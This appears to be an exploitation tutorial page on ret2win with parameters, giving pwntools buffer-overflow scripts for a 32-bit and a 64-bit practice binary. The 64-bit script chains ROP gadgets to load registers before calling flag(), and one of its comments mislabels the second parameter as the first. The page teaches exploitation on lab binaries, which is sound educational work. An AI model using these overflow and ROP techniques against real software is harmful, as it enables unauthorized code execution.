Exploiting Calling Conventions
Utilising Calling Conventions
exploiting_with_params.zip
5KB
Binary
ret2win with Parameters

32-bit

The program expects the stack to be laid out like this before executing the function:
So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.
Everything after the address of flag() will be part of the stack frame for the next function as it is expected to be there - just instead of using push instructions we just overwrote them manually.
1
from pwn import *
2
3
p = process('./vuln-32')
4
5
payload = b'A' * 52 # Padding up to EIP
6
payload += p32(0x080491c7) # Address of flag()
7
payload += p32(0x0) # Return address - don't care if crashes when done
8
payload += p32(0xdeadc0de) # First parameter
9
payload += p32(0xc0ded00d) # Second parameter
10
11
log.info(p.clean())
12
p.sendline(payload)
13
log.info(p.clean())
Copied!

64-bit

Same logic, except we have to utilise the gadgets we talked about previously to fill the required registers (in this case rdi and rsi as we have two parameters).
We have to fill the registers before the function is called
1
from pwn import *
2
3
p = process('./vuln-64')
4
5
POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9
6
7
8
payload = b'A' * 56 # Padding
9
payload += p64(POP_RDI) # pop rdi; ret
10
payload += p64(0xdeadc0de) # value into rdi -> first param
11
payload += p64(POP_RSI_R15) # pop rsi; pop r15; ret
12
payload += p64(0xc0ded00d) # value into rsi -> first param
13
payload += p64(0x0) # value into r15 -> not important
14
payload += p64(0x40116f) # Address of flag()
15
payload += p64(0x0)
16
17
log.info(p.clean())
18
p.sendline(payload)
19
log.info(p.clean())
Copied!
Last modified 1yr ago
Export as PDF
Copy link
Contents
32-bit
64-bit